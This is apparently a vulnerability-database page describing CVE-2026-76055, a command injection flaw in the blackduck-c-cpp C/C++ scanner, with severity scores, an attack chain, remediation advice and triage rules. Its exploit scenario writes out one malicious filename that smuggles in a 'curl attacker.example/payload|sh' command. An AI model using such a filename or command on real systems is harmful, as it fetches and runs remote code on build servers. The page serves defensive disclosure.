Skip to main content

blackduck-c-cpp CVE-2026-76055

| EUVDEUVD-2026-64896 HIGH
OS Command Injection (CWE-78)
2026-08-24 BlackDuck GHSA-xgr7-5g33-wgpv
7.5
CVSS 4.0 · Vendor: BlackDuck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain write access to scanned build directory
  2. Delivery
    Create file with shell metacharacters in filename
  3. Exploit
    Wait for or trigger blackduck-c-cpp scan run
  4. Execution
    Unescaped path string interpolated into shell command
  5. Impact
    Execute arbitrary OS commands as scan service account

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker must have the ability to create a file or directory within the build directory that blackduck-c-cpp is configured to scan. No access to the scanner's configuration files, build scripts, environment variables, or credentials is required - filesystem write access to the scanned directory is the sole prerequisite. A scan must occur after the malicious file is placed, whether triggered manually, by a CI/CD event, or on a scheduled basis. Exploitation is limited to actors with local or shared filesystem access to the build directory; a purely remote attacker without such access cannot exploit this vulnerability directly. The CVSS 4.0 AT:P metric explicitly captures this specific attack requirement. Limiting factors: local filesystem access required, the scan must subsequently execute, and the technique does not apply to directories the tool is not configured to scan.

Impact

The CVSS 4.0 vector (AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N, score 7.5) accurately characterizes the risk: local access is required (AV:L), no complexity beyond creating a file is involved (AC:L), but a specific attack precondition exists (AT:P - write access to the build directory). No EPSS data was provided, and the vulnerability carries no CISA KEV listing, indicating no confirmed widespread active exploitation at time of analysis. Despite the absence of a public proof-of-concept, the technique is extremely well understood; shell metacharacter injection is one of the most documented exploit classes and requires no sophisticated tooling. Real-world risk is highest in shared CI/CD pipelines where multiple developers, automated processes, or dependency-fetching scripts write to build directories and the scanner runs under a service account with broader system permissions than any individual contributor. In tightly controlled, single-operator environments where only the scan account controls the build directory, the attack surface is effectively self-contained. No CVSS 3.1 vector was supplied by the vendor; the independent assessment below reflects the local-access prerequisite and potential privilege boundary crossing.

Exploit ScenarioDerived

An attacker with write access to a build directory targeted by blackduck-c-cpp creates a file named with embedded shell metacharacters, for example a C source file named 'foo;curl http://attacker.example/payload|sh;.c'. When the scanner traverses the directory during its next scan run, it constructs a shell command incorporating the raw filename, causing the shell to execute the injected curl pipeline as the service account running the scan. No public proof-of-concept code is confirmed, but the technique is a textbook OS command injection and is reproducible by anyone with basic shell scripting familiarity.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 24, 2026

Command injection in Black Duck blackduck-c-cpp before version 3.0.7 enables any actor with write access to a scanned build directory to execute arbitrary OS commands as the account running the scan. The scanner's package manager component traverses the build directory and incorporates discovered filesystem paths into shell command strings without quoting or escaping, making any file or directory whose name contains shell metacharacters an effective injection vector. No public exploit code or active exploitation is confirmed at time of analysis, but the mechanic is standard shell injection requiring no specialized tooling, making this a meaningful risk in shared CI/CD environments where untrusted parties can write to scanned directories.

RemediationAI

Upgrade blackduck-c-cpp to version 3.0.7 or later, which is the vendor-confirmed fix version. The package can be updated via pip with 'pip install --upgrade blackduck-c-cpp'. The authoritative vendor advisory is at https://community.blackduck.com/s/article/Black-Duck-Product-Security-Advisory-CVE-2026-76054-CVE-2026-76055. If immediate upgrade is not feasible, restrict write access to scanned build directories to only the account that runs the scan, preventing untrusted actors or automated services from placing files with shell metacharacters in their names; note that this workaround may be operationally disruptive in multi-service CI/CD pipelines where multiple actors legitimately write to shared build trees. Verify the installed version with 'pip show blackduck-c-cpp' before relying on any workaround.

Affected VersionsENISA

blackduck-c-cpp 0 <3.0.7

Affected Packages

euvd blackduck_c_cpp fix: 3.0.7

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

blackduck-c-cpp (CPE: cpe:2.3:a:black_duck:blackduck-c-cpp:*:*:*:*:*:*:*:*) is a Python-based software composition analysis tool for C/C++ projects distributed via PyPI. Its package manager component traverses the scanned build directory, collects filesystem paths, and interpolates those paths directly into shell command strings without applying shell quoting or escaping. The root cause class is CWE-78 (Improper Neutralization of Special Elements used in an OS Command): when a path contains shell metacharacters such as semicolons, backticks, pipe symbols, or dollar signs, the shell tokenizes and executes the injected content as a separate command rather than treating the path as a literal string. This is a classic unsanitized input-to-shell pattern; the vulnerable surface is any filename or directory name the tool encounters during traversal.

Know when Blackduck C Cpp gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (BlackDuck) PRIMARY 7.5 HIGH
CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N
vuln.today AI 9.2 CRITICAL

AV:L and PR:N reflect local file-write prerequisite with no scanner credentials needed; S:C because the scan account typically exceeds the file-creator's privilege in CI/CD environments.

3.1 AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L
4.0 AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N

Primary rating from Vendor (BlackDuck).

CVSS VectorVendor: BlackDuck

Attack Vector
Local
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
Low
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Patch available
Aug 24, 2026 - 15:02 EUVD
CVE Published
Aug 24, 2026 - 14:17 cve.org
HIGH 7.5

DescriptionCVE.org

Improper Neutralization of Special Elements used in an OS Command in the package manager component of Black Duck blackduck-c-cpp before 3.0.7 allows an actor able to create a file within the scanned build directory to execute operating system commands as the account running the scan.

Filesystem paths encountered while traversing the scanned directory are interpolated into command strings that are executed through a shell without quoting or escaping, so shell metacharacters within those paths are interpreted rather than treated as literal text. No control over the build command or the tool's configuration is required.

Executive ViewAI

Why It Matters

Organizations using Black Duck for C/C++ package scanning (versions before 3.0.7) face risk of build infrastructure compromise: attackers with write access to build directories can inject malicious commands executed under the scanner's account, enabling artifact tampering and lateral movement through CI/CD systems.

Business Impact: High
Compensating Controls

Apply vendor patch (version 3.0.7 or later). Interim mitigation pending deployment: restrict write access to scanned build directories to authorized CI/CD systems only.

Threat Intelligence Overview

EPSS Score
0.1%
Top 97% exploitable
Prevalence
Low
specialized enterprise C/C++ SCA scanner, niche deployment footprint
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Small
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy